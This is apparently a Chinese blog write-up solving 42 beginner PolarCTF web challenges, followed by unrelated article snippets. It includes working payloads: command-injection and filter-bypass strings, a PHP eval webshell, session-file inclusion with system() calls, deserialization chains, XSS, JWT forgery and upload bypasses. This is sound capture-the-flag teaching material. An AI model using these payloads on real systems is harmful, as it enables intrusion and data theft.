当前位置: 首页 > news >正文

Web刷题之PolarDN(简单)

1.swp

考点:敏感文件、preg_match()函数绕过
什么是swp文件:

vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。强行关闭vim时,vim自动生成一个swp文件,当源文件被意外删除时,可以利用swp文件恢复源文件。

依据题目的提示,可能存在swp文件,用kali dirsearch工具扫一扫

 

 function jiuzhe($xdmtql){ //接受一个xdmtql变量return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}$xdmtql=@$_POST['xdmtql']; //判断变量是否为数组类型,不为数组类型往下判断
if(!is_array($xdmtql)){  //利用jiuzhe函数进行匹配输入的值if(!jiuzhe($xdmtql)){if(strpos($xdmtql,'sys nb')!==false){  //绕过 preg_match函数后匹配变量,匹配到的话输出flagecho 'flag{*******}';}else{echo 'true .swp file?';}}else{echo 'nijilenijile';  //匹配到/sys.*nb/is的话输出}
}

考虑如何同时绕过pre_match()和strpos()函数,不pre_match()让匹配到,一个又要strpos()匹配到。是个回溯问题,由于pre_match()函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到,所以我们写一段代码,让pre_match()函数报错,绕过该函数,这样strpos()函数就可以顺利的匹配到我们的字符串从而输出flag

import requests
url = 'http://59103954-e786-4a4b-9a2d-380a80e0a6b9.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb' + 'a' * 1000000 
}
res = requests.post(url=url, data=data)
print(res.text)

 即可得到flag

flag{4560b3bfea9683b050c730cd72b3a099} 

2.简单rce

题目

<?php
highlight_file(__FILE__);    //对文件进行语法高亮显示function no($txt){            //定义一个no函数,并传入变量txtif(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){                        //preg_match 函数用于执行一个正则表达式匹配return $txt;            //返回参数值}else{die("what's up");   //输出一条消息,并退出当前脚本}
}$yyds=($_POST['yyds']);        //通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){  //通过GET方式传递参数sys;并判断eval(no($_GET['sys']));            //调用no函数,并输出}else{echo "nonono";                    //输出nonono        }
?> 

解题

  • 命令执行函数

system()
passthru()
exec()
shell_exec()
popen()/proc_open()

  • 读取文件命令

与cat命令功能相似的命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

  • 空格替代

<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1

本题绕过
方法一:使用未被过滤的命令

passthru()

function passthru(string $command,int[optional] $return_value)
代码:

<?phppassthru("ls");
?>

执行结果:

index.phptest.php


知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

sys=passthru('sort%09/flag');

方法二:使用php的函数来读取文件

file_get_contents() 函数

定义和用法

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

语法

file_get_contents(path,include_path,context,start,max_length)

参数描述
path必需。规定要读取的文件。
include_path可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

提示和注释

提示:该函数是二进制安全的。(意思是二进制数据(如图像)和字符数据都可以使用此函数写入。)

实例

<?php
echo file_get_contents("test.txt");
?>

上面的代码将输出:

This is a test file with test text.

?sys=echo(file_get_contents('/flag'));


                        
3.蜜雪冰城吉警店

 题目提示我们点第九款单子,于是在控制台中随意修改一处id为9

先随便点点试试

控制台中发现了id,随便修改一个id为9

修改完成之后在点击修改处的按钮,即可获得flag

4.召唤神龙

打开靶场发现是一个游戏

直接F12查看界面源码, 在main.js文件中发现一串文字, 猜测是jsfuck(源于brainfuck)

上工具, 解密得到flag

flag{fdf9a88ec4fdd9e3dedaafeece5cc248} 

JSFuck

  • 在线加密网站:http://www.jsfuck.com/
  • 在线解密网站:http://codertab.com/JsUnFuck

 5.seek flag

F12发现给出提示

我们搜索一下网站目录,发现有robots.txt文件存在

访问发现flag3:c0ad71dadd11}

bp抓包,在响应头中发现flag2:3ca8737a70f029d

我们注意到在返回包中有个Set-Cookie, 我们尝试将id改为1发包, 得到flag1:flag{7ac5b 

拼接三段flag得到最终结果:flag{7ac5b3ca8737a70f029dc0ad71dadd11} 

6.jwt 

进入网页,显示登陆或者注册

 点击注册,随便注册一个号

用这个号登录

点击个人中心抓包

将抓到的JWT值通过c-jwt-cracker工具破解密钥,得到密钥是SYSA

c-jwt-cracker工具安装及使用方法https://github.com/brendan-rius/c-jwt-cracker

jwt在线加密解密工具https://www.json.cn/jwt/用jwt在线加密解密工具进行伪造

首先将抓包得到的jwt复制到编码区域,输入刚才破解的密钥进行解码

 将username修改为admin,进行身份伪造,点击编码,得到新的jwt值,用新的jwt值替换bp抓包得到的jwt值

成功进入admin用户的个人中心,得到flag

flag{ec39c705cfb5295f9dddcedc819a1659}

7.login

进入页面发现是个查询界面

 第一时间想到了sql注入,试了试发现没有注入点

打开F12,发现给了一个学号

bp抓包,修改学号密码最后两位进行爆破

发现02-11的页面有回显,将回显拼接起来得到flag

flag{dlcg} 

8.iphone 

进入页面有下面一段文字和一个按钮

.点击enter按钮显示必须用iphone或者ipad才能看到admin菜单

bp抓包,在网上找了个ipad的User-Agent,替换原来的

Mozilla/5.0 (iPad; CPU OS 12_4_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1

 成功得到flag

flag{ba4c2f175f0dba2f2974e676c6dfbbab}

9.浮生日记

标题显示弹个窗让我康康,试试xss

先写个最简单的弹窗,发现被过滤了

试试双写绕过

"><scrscriptipt>alert("xss")</scrscriptipt>

">闭合value标签

 成功弹窗

得到 flag

flag{747b11f075d2f6f0d599058206190e27} 

10. $$

分析代码

首先,代码接收GET参数c,赋值给变量$a。然后,如果c存在,就会进行正则表达式匹配。如果匹配到任何禁止的字符,就会输出“oh on!!!”并终止。否则,执行eval("var_dump($$a);");。

目标是通过eval执行来输出$flag变量的内容,而flag变量在include的flag.php文件中。所以,我需要让var_dump($$a);输出$flag。这里$$a意味着可变变量,即$a的值作为变量名。例如,如果$a是"flag",那么$$a就是$flag。

首先,我需要找到一个方法让$a的值等于"flag",但又不直接出现'flag'这四个字符。或者,通过其他方式间接引用到$flag变量。

考虑到PHP中的变量变量,或许可以用其他变量来间接获取。例如,如果存在一个变量其值为'flag',那么$$a可以指向$flag。但问题是,如何构造$a的值而不使用被过滤的字符。

比如,利用PHP的字符串解析特性。例如,通过变量名中的某些特性,如使用{}或者复杂变量表达式,但大括号被过滤了。

或者,考虑使用反斜杠来转义某些字符,但反斜杠也被过滤了。

或者,使用没有过滤的运算符,比如.号被过滤,所以无法进行字符串连接。

或者,考虑字符编码转换,比如使用十六进制或八进制表示,但数字被过滤了,所以无法直接使用。

比如,'flag'的十六进制是\x66\x6c\x61\x67,但传入时可能用双引号,但引号被过滤了,无法使用。

或者,使用异或运算来生成字符串,但PHP中如何执行异或?比如,在PHP中,两个字符串进行异或运算,但需要符号^,而^被过滤了。

或者,考虑超全局变量中的某些数组。比如,超全局变量$GLOBALS是一个包含所有全局变量的数组。那么,如果能访问$GLOBALS['flag'],那么就可以得到$flag的值。但问题是如何构造$a的值。

假设,我可以让$a等于"GLOBALS['flag']",但这样的话,$$a会被解释为可变变量,即$GLOBALS['flag'],但这可能需要不同的写法。或者,可能需要用更复杂的结构。

但是,构造这样的字符串需要考虑被过滤的字符,比如单引号被过滤了,所以无法使用'。因此,无法构造GLOBALS['flag']这样的字符串,因为包含单引号。

那是否有其他方式?比如,使用变量名替代或者其它方法?

另外,变量名中是否允许使用{}?比如,可变变量可以通过${a}的形式,但大括号被过滤了,所以也不行。

另一个思路是,PHP允许在可变变量中使用某些表达式,但需要未被过滤的字符。

比如,如果$a的值是"_GET",那么$$a就会变成$_GET。但这里的下划线被过滤了,所以无法使用。

那是否有其他超全局变量没有被过滤?比如,$GLOBALS不包含下划线?或者,可能还有其他的变量?

或者,是否有办法通过其他方式间接获取$flag的值?

例如,如果我能执行var_dump(get_defined_vars());,那么可以输出所有变量,其中可能包含$flag。但如何构造这个表达式?

当前代码中执行的是eval("var_dump($$a);");所以,如果$a的值是"GLOBALS",那么$$a就是$GLOBALS,从而var_dump($GLOBALS),这样会输出所有全局变量,包括$flag。

试一试payload:

?c=GLOBALS

 成功获得flag

flag{9f8a2133f0cad361ff6d22a445c2531a}

 11.爆破

进入页面有一段代码

代码分析:

  • 检查 pass 参数

    • 如果 URL 中包含 pass 参数,脚本会对它进行 MD5 加密。
    • 如果没有提供 pass 参数,脚本会显示源代码。
  • 第一个条件检查

    substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)

    这里验证了 md5($pass) 加密后的字符串的第 2 个字符(索引为 1),第 15 个字符(索引为 14),以及第 18 个字符(索引为 17)是否相同。

  • 第二个条件检查

    (intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))
    • 这部分要求对 md5($pass) 的第 2、15、18 个字符进行整数转换,并进行加法操作。
    • 然后,结果除以第 2 个字符(字符的整数值)并与第 32 个字符(索引为 31)的整数值比较。
  • 如果条件都成立,包括 flag.php 并输出 $flag

可以编写一个简单的程序来暴力破解这个条件 

import hashlibdef check_password(pass_candidate):# 计算MD5哈希值hashed = hashlib.md5(pass_candidate.encode()).hexdigest()# 检查第一个条件:第 2、15、18 个字符相同if hashed[1] == hashed[14] == hashed[17]:# 将第 2、15、18 个字符转换为整数num1 = int(hashed[1], 16)num2 = int(hashed[14], 16)num3 = int(hashed[17], 16)# 检查第二个条件if (num1 + num2 + num3) / num1 == int(hashed[31], 16):return Truereturn False# 尝试不同的密码
for i in range(1000000):  # 这里尝试 0 到 999999 的数字作为密码pass_candidate = str(i)if check_password(pass_candidate):print(f"Found password: {pass_candidate}")break

爆破出pass为422

成功得到flag

flag{8277e0910d750195b448797616e091ad}

12. XFF

HTTP请求IP伪造
适用范围:
用于在某些特定情况下,只允许特定IP才能访问的页面,后端逻辑不严谨通过前端请求头来判断IP地址;

利用方式:
通过burp或者其他抓包工具添加以下下任意一个请求头,根据实际情况而定

X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

flag{847ac5dd4057b1ece411cc42a8dca4b7}

13.rce1

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?><!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>ping</title>
</head>
<body>
<style>html{height:100%;}body{padding: 0;margin: 0;background: url(1.png);background-size: 100% 100%;position: absolute;}</style><h1>就过滤了个空格,能拿到flag算我输</h1><form action="#" method="GET"><label for="ip">IP : </label><br><input type="text" id="ip" name="ip"><input type="submit" value="Ping">
</form><hr><pre>
<?php
if ($res) {print_r($res);
}
?>
</pre><?php
show_source(__FILE__);
?></body>
</html>

 代码是一道命令执行的题目,并且过滤了空格,看题目有个ip,考虑拼接符输入命令:

|      只执行第二个命令
||     先执行第一个命令若成功则继续执行第二个命令
&      不管第一个命令是否执行成功都会执行第二个命令
&&     必须两个命令都成功才能执行
;     类似&  

ping -c 4 {$ip}这很熟悉了,输入127.0.0.1;ls,返回一个fllllaaag.php

?ip=127.0.0.1;ls

 直接输入127.0.0.1;cat${IFS}fllllaaag.php,就返回一个问号,查看源代码

flag{a3949821f7627a7fd30ab0722ff9b318}

常见的绕过空格的方法包括使用${IFS}、%09(tab的url编码)、或者用重定向符号<>之类的。或者使用不带空格的参数写法。

经测试%09这题无法绕过,用重定向符号127.0.0.1;cat<fllllaaag.php 可以得到flag

14.GET-POST

 这题非常简单,直接按提示来

flag{a52b7cac3af0b081349001c92d79cc0a}

15.被黑掉的站

进入页面没发现什么有用的东西

用dirsearch扫描看看

扫描出来两个路径,挨个访问一下

/index.php.bak中发现一堆数字,先保存一下

/shell.php中发现要pass登录,结合刚才得到的一堆数字,尝试爆破一下

将刚才得到的数字导入bp intruder模块payload中,进行爆破 

发现有一个payload长度和其他不一样,在响应包中发现flag

flag{8e539a7a46fea05dea18b9b9f9ff6a63}                    

16.签到题

 方法一:

直接dirsearch扫描目录,得到/data/

方法二:

查看源码

bp抓包,结合上面源码注释,将cookie中的didi的值修改为yes

页面回显多了一段字

base64解码,得到./data/index.php目录

访问发现一段代码,文件包含

php伪协议结合双写绕过,用伪协议以base64编码进行内容读取

?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

将得到的base64编码后的内容解码,得到flag

flag{92eb5ffee6ae2fec3ad71c777531578f}

17.签到

 进入页面发现提交按钮无法按

检查进入控制台,发现有个disabled属性,将disabled属性删除

弹窗显示提交ilovejljcxy就能得到flag

这里我们发现长度有限制

删除长度限制

成功获得flag

flag{fa3f77dd58a0a8f990bb6292da75618f} 

18.session文件包含

 随便输入

用伪协议进行读取(base64编码)

?file=php://filter/convert.base64-encode/resource=action.php

base64解码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

是一个php代码

session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

这里可以采取两种方式得到flag:命令读取或者蚁剑连接shell

方法一:蚁剑连接shell

查到cookie值

再用post传一句话木马

 本题这里php-session存放位置在/tmp/sess_PHPSESSID

蚁剑连接,成功获得flag

方法二:命令读取

?file=/tmp/sess_65o295g198t733ujs5lld77v60

name=<?php system(' ls\ ')?>

 ?file=/tmp/sess_65o295g198t733ujs5lld77v60

name=<?php system(' tac /flaggggg ')?>

常用读取命令

name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?> 

这里sort和cat命令无法读取到

flag{43306e8113f53ece238c0a124432ce19} 

 19.Don't touch me

进页面只有一行字

源码发现有一行注释,提示了一个目录 

访问发现多了一个按钮,但是按钮没法点 

将按钮的disabled属性删除

新的页面源码最后又提示了一个目录 

访问得到flag

flag{0cee5a97f12b172ceeea2e9f67b7413e} 

20.robots

直接访问/robots.txt ,发现有个fl0g.php页面不希望我们访问

访问得到flag 

flag{2f37589152daf6f111b232ef4aea1304}

21. php very nice

打开网页源代码,由下图的代码,可见本题涉及到反序列化以及变量覆盖。
因此考虑传递GET参数a来构造序列字符串。

由上图中的代码,在Example类中定义了一个public成员变量,并在魔术函数__destruct中调用了敏感函数 eval
此外,出现了反序列化函数 unserialize 的调用,传入 GET 参数 a
综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag

?a=O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

flag{202cb962ac59075b964b07152d234b70}

 22.ezupload

显然有文件上传漏洞,我们先上传个一句话木马 

<?php
@eval($_REQUEST[777]);
?>

显示只支持上传GIF图片

我们将一句话木马后缀改为.gif,bp抓包,再把后缀改为php试试

成功上传

蚁剑连接,在/var/www/目录下发现flag.php文件

flag{ffffffffllllaaggg_!!!}

23.cookie欺骗

显示只有admin用户才能得到flag,直接bp抓包

cookie中有个user变量,将值改为admin

flag{10e35c76602b330149ef009e0b484d8f}

24.upload

 

上传一个一句话木马发现.php后缀被过滤,上传图片马bp抓包改后缀名发现也不行

源码发现有个注释

打开发现源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

 直接修改后缀名为.pphphp,双写绕过

打开图片,成功上传

蚁剑连接,/var/www/flag.php

25.干正则

parse_str函数会将查询字符串解析到变量中。例如,如果id是"a=123",那么变量$a会被覆盖为123。这里可能存在变量覆盖的漏洞,因为用户输入的id参数会被解析到当前作用域的变量中。

通过parse_str函数的漏洞覆盖变量$a,使其成为数组并使$a[0]等于www.polarctf.com

构造GET参数id=a[0]=www.polarctf.com,这样parse_str会将$a转换为数组,满足后续条件判断。

$ip参数(来自cmd)不能包含flag.php,否则会被拦截。

方法一:我们通过Shell变量拼接绕过检测。

构造cmd参数值为;a=flag;b=.php;tac $a$b,该命令在Shell中拼接后实际执行tac flag.php,但原始字符串不含flag.php,绕过正则检查。

方法二:利用通配符*绕过检测

构造cmd参数值为;tac f*,绕过正则检查

flag{e44882416c9fa79cc5a6a51e6e19cdbc}

26.cool

system,flag,php都被过滤,直接用passthru函数加通配符

 27.uploader

本题的重点仍是文件上传,只是期间需要加上一步自主的文件上传。

打开环境,审查代码,发现在上传文件之后会自动生成一个以MD5散列值命名的目录,并将上传的文件置于其中。
因此考虑自主设计上传逻辑,笔者采用的是脚本编写的方式。
上传成功后,找出所需的MD5散列值,对 url 进行拼接,随后进行 Webshell 交互,此处依然采用了脚本的方式。

用py写个文件上传脚本

import requestsimport sys
import io
if sys.stdout.encoding != 'UTF-8':sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')url = 'http://eb5650f0-676d-4c8d-a23a-3128ab942fef.www.polarctf.com:8090/'  # 替换成你的服务器地址files = {'file': open('D:\网安\一句话木马\yjh.php', 'rb')}  # 将文件名替换为你想上传的文件response = requests.post(url, files=files)print(response.text)

拿到$sandbox和filename,拼接得到文件路径 

http://6ae68957-2bd0-497c-9498-41aa32394ab7.www.polarctf.com:8090/fc476b1aae619597a9871112304f2d63

连接蚁剑,拿flag

flag{256d5ca173f463165db6ed366b597da8}

28.覆盖 

这题跟之前的干正则差不多,就是少了个正则匹配,就不解释了

flag{e44882416c9fa79cc5a6a51e6e19cdbc}

29.PHP反序列化初试

代码分析:

首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。

exp:

<?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$easy = new Easy();
$evil = new Evil();
$easy->name = $evil;
$evil->evil = "tac f*";
echo serialize($easy);
?>

 O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}

flag{08a46a069bd77e33531bb2ab244f4196} 

30.机器人

千万别爬我,直接访问robots.txt

得到了flag的前半段,这里还有个目录不给爬,猜测敏感文件在这个目录下

拼接得到完整flag

flag{4749ea1ea481a5d56685442c8516b61c}

31.扫扫看

让我们扫一扫,直接dirsearch扫描一下

扫到一个flag.php,访问该目录

源码发现注释中有flag

 flag{094c9cc14068a7d18ccd0dd3606e532f}

32.debudao

打开网页有个搜索框,尝试xss注入发现有xss漏洞但是没什么用,没发现sql注入

源码中发现有个flag,但是提交是假的

 最后在cookie中发现了真正的flag

flag{72077a55w312584wb1aaa88888cd41af}

 33.审计

按照题目的要求,输入的xxs参数的值必须是数字,且md5值必须是0e开头,第三位是数字。

已知的一些Magic Hash包括:

  • 240610708的md5是0e462097431906509019562988950854
  • s878926199a的md5是0e545993274517709034328855841020

240610708刚好满足题目要求

flag{1bc29b36f623ba82aaf6724fd3b16718} 

34.upload1

 

上传一个一句话木马,显示只能上传图片类型的文件 

 上传图片马,bp抓包把后缀名改为.php,直接上传成功了

连接蚁剑,拿到flag


flag{adbf5a778175ee757c34d0eba4e932bc} 

35.rapyiquan

不能出现_,可以用[或者_的URL编码%5f绕过

c[md或者c%5fmd

经测试都可以

 后面的正则匹配可以用\绕过检测

payload:?c[md=sort f\lag.php

 flag{cf7d0e14fbf7845e50d53a478d3d10eb}

36.bllbl_ser1

查看源代码

反序列化漏洞

exp

<?phpclass bllbl{public $qiang;
}class bllnbnl{public $er;
}$a = new bllbl();
$b = new bllnbnl();
$b->er = "system('tac /f*');";
$a->qiang =$b;
echo serialize($a);?>

O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('tac /f*');";}}

 

flag{f2fe05c8ecca794c80e3a46d7fa5b47e} 

37.1ncIud3

扫一下

page=flag对应了./flag.php,双写绕过可以目录穿越flag替换为f1a9

flag{b7e5578d5f11ee7db50f30596052293f} 

38.投喂

按题目要求,使用username和is_admin属性序列化User对象,并且设置is_admin=true 

exp:

<?phpclass User{public $username;public $is_admin;
}$a=new User();
$a->is_admin=true;
echo serialize($a);?>

 O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

然后按照题目要求POST包含序列化User对象的参数“data” 

 

flag{6f450d5d498782e74580b57b1bdd138e} 

39.狗黑子的RCE

这里没有过滤 ‘\’ ‘/’,gouheizi1采用转义绕过。gouheizi2会被正则匹配将gouheizi字符替换为空,使用双写绕过

flag{d22add0cf74c46feffe95e7f8064136b} 

40.button

 在调试器中查看js文件

这里看到get传入路径/proxy.php?file=flag

访问页面查看源代码拿到flag

flag{ce50a09343724eb82df11390e2c1de18} 

41.井字棋

玩了几局发现赢不了哈哈哈

源码中发现declareWinner函数用来显示获胜信息,并且可以调用

控制台输入declareWinner("您赢了!");    拿到flag

 flag{288CCA1ADB228E10EED4BFD85AC544B8}

42.简单的导航站

先随便注册个号

注册之后显示页面不存在,但实际上是注册成功了的

用刚才注册的号登录

这里源码泄露,为了绕过PHP中的MD5全等比较,可以利用数组参数使md5()函数返回null。传入user1[]=1&user2[]=2拿到用户名列表  

得到了用户名,但是不知道哪个是管理员账号,同时也不知道管理员密码

在网站首页源码中发现了管理员密码

bp抓包,爆破出管理员账号是P0la2adm1n 

管理员登陆成功后有个文件上传页面,上传个一句话木马

上传文件的目录在/uploads/下,蚁剑连接,在/var/www/flag???/目录下发现flags.txt文件,文件里有很多个flag,直接把文件下载下来,在网站的Flag认证系统中用bp 抓包爆破

爆破出来真正的flag是 flag{T4PwCg1RrQNsO4EcrQmU} 

flag{T4PwCg1RrQNsO4EcrQmU} 

相关文章:

Web刷题之PolarDN(简单)

1.swp 考点&#xff1a;敏感文件、preg_match()函数绕过 什么是swp文件&#xff1a; vim中的swp即swap文件&#xff0c;在编辑文件时产生&#xff0c;它是隐藏文件。这个文件是一个临时交换文件&#xff0c;用来备份缓冲区中的内容。如果原文件名是data&#xff0c;那么swp文件…...

JVM 深入理解与性能优化

JVM&#xff08;Java Virtual Machine&#xff0c;Java 虚拟机&#xff09;是 Java 代码运行的核心&#xff0c;它负责 内存管理、类加载、字节码执行、垃圾回收&#xff08;GC&#xff09;和 JIT 编译。理解 JVM 有助于优化 Java 应用的性能&#xff0c;提高调试和排错能力。 …...

【人工智能】蓝耘智算平台盛大发布DeepSeek满血版:开创AI推理体验新纪元

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀ 蓝耘智算平台 蓝耘智算平台核心技术与突破元生代推理引擎快速入门&#xff1a;三步调用大模型接口&#xff0c;OpenAI SDK无缝兼容实战用例文…...

minio作为K8S后端存储

docker部署minio mkdir -p /minio/datadocker run -d \-p 9000:9000 \-p 9001:9001 \--name minio \-v /minio/data:/data \-e "MINIO_ROOT_USERjbk" \-e "MINIO_ROOT_PASSWORDjbjbjb123" \quay.io/minio/minio server /data --console-address ":90…...

关于 BK3633 上电时受串口 UART2 影响而无法启动的问题说明

1. 问题描述 BK3633 SDK 版本&#xff1a;BK3633_DesignKit_V06_2310 使用 BK3633 UART2 与指纹模块进行通讯&#xff0c;为了降低功耗&#xff0c;通过 GPIO 控制了指纹模块的供电电源。但每次给整个系统板子上电时&#xff0c;BK3633 很大概率会实际而无法正常运行程序&…...

运维Ansible面试题及参考答案

目录 简述 Ansible 的工作原理,它是如何实现对远程主机管理的? Ansible 是基于什么语言开发的?这门语言的特性对 Ansible 的功能实现有哪些帮助? 解释 Agentless 在 Ansible 中的含义,与基于 Agent 的自动化工具相比,优势体现在哪? Ansible 中的 Inventory 文件是什…...

Spring Boot 日志管理(官网文档解读)

摘要 本篇文章详细介绍了SpringBoot 日志管理相关的内容&#xff0c;文章主要参考官网文章的描述内容&#xff0c;并在其基础上进行一定的总结和拓展&#xff0c;以方便学习Spring Boot 的小伙伴能快速掌握Spring Boot 日志管理相关的内容。 日志实现方式 Sping Boot 的日志管…...

Svelte 最新中文文档教程(17)—— 生命周期钩子

前言 Svelte&#xff0c;一个语法简洁、入门容易&#xff0c;面向未来的前端框架。从 Svelte 诞生之初&#xff0c;就备受开发者的喜爱&#xff0c;根据统计&#xff0c;从 2019 年到 2024 年&#xff0c;连续 6 年一直是开发者最感兴趣的前端框架 No.1&#xff1a; Svelte 以…...

Windows 上源码安装 FastGPT

FastGPT 是一个强大的 AI RAG 平台&#xff0c;值得我们去学习了解。与常见的 Python 体系不同&#xff0c;Fast GPT 采用 Node.js/Next.js 平台&#xff08;对于广大 JS 开发者或前端开发者比较亲切友好&#xff09;&#xff0c;安装或部署比较简单。虽然一般情况下推荐简单的…...

RT-Thread+STM32L475VET6——icm20608传感器

文章目录 前言一、板载资源二、具体步骤1.打开CubeMX进行配置1.1 使用外部高速时钟&#xff0c;并修改时钟树1.2 打开I2C3&#xff0c;参数默认即可(I2C根据自己需求调整&#xff09;1.3 打开串口1.4 生成工程 2. 添加icm20608软件包3. 使能传感器&#xff0c;打开动态链接库4.…...

超高清大图渲染性能优化实战:从页面卡死到流畅加载

目录 问题背景&#xff1a;1.为什么大图会导致页面卡死&#xff1f;一、DOM树构建&#xff08;HTML Parsing&#xff09;二、 资源加载&#xff1a;下载完整图片文件&#xff08;可能高达30MB&#xff09;三、解码处理&#xff08;Decoding & Rasterization&#xff09;、四…...

基于javaweb的SpringBoot个人博客系统设计和实现(源码+文档+部署讲解)

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...

轻量级日志管理平台Grafana Loki

文章目录 轻量级日志管理平台Grafana Loki背景什么是Loki为什么使用 Grafana Loki&#xff1f;架构Log Storage Grafana部署使用基于 Docker Compose 安装 LokiMinIO K8s集群部署Loki采集Helm 部署方式和案例 参考 轻量级日志管理平台Grafana Loki 背景 在微服务以及云原生时…...

SOME/IP--协议英文原文讲解12(完结)

前言 SOME/IP协议越来越多的用于汽车电子行业中&#xff0c;关于协议详细完全的中文资料却没有&#xff0c;所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块&#xff1a; 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.3 Compa…...

Linux 命令大全完整版(12)

Linux 命令大全 5. 文件管理命令 ln(link) 功能说明&#xff1a;连接文件或目录。语  法&#xff1a;ln [-bdfinsv][-S <字尾备份字符串>][-V <备份方式>][--help][--version][源文件或目录][目标文件或目录] 或 ln [-bdfinsv][-S <字尾备份字符串>][-V…...

AI学习第二,三天-Python基础

变量、运算符与数据类型详解 注释 在 Python 中&#xff0c;注释是用于增加代码可读性、解释代码功能但不会被程序执行的部分。 单行注释&#xff1a;使用 # 符号&#xff0c;从 # 开始到本行末尾的内容均为注释。例如&#xff1a; 收起 python # 这是一个单行注释&#xff…...

Nginx代理ElasticSearch

1、将ES的账号:密码通过Base64加密 假设账号密码如下&#xff1a; 账号&#xff1a;elastic密码&#xff1a;elastichuayunworld.com echo -n elastic:elastichuayunworld.com | base64 ZWxhc3RpYzplbGFzdGljQGh1YXl1bndvcmxkLmNvbQ2、在 Nginx 配置中传递认证信息 locatio…...

开源AI网络爬虫工具Crawl4AI

引言 在信息化时代&#xff0c;网络爬虫作为从互联网中提取信息的重要工具&#xff0c;扮演着至关重要的角色。Crawl4AI作为一款开源AI网络爬虫工具&#xff0c;凭借其功能强大和易用性&#xff0c;受到了广泛关注。本文将详细探讨Crawl4AI的定义、特点、优势&#xff0c;以及…...

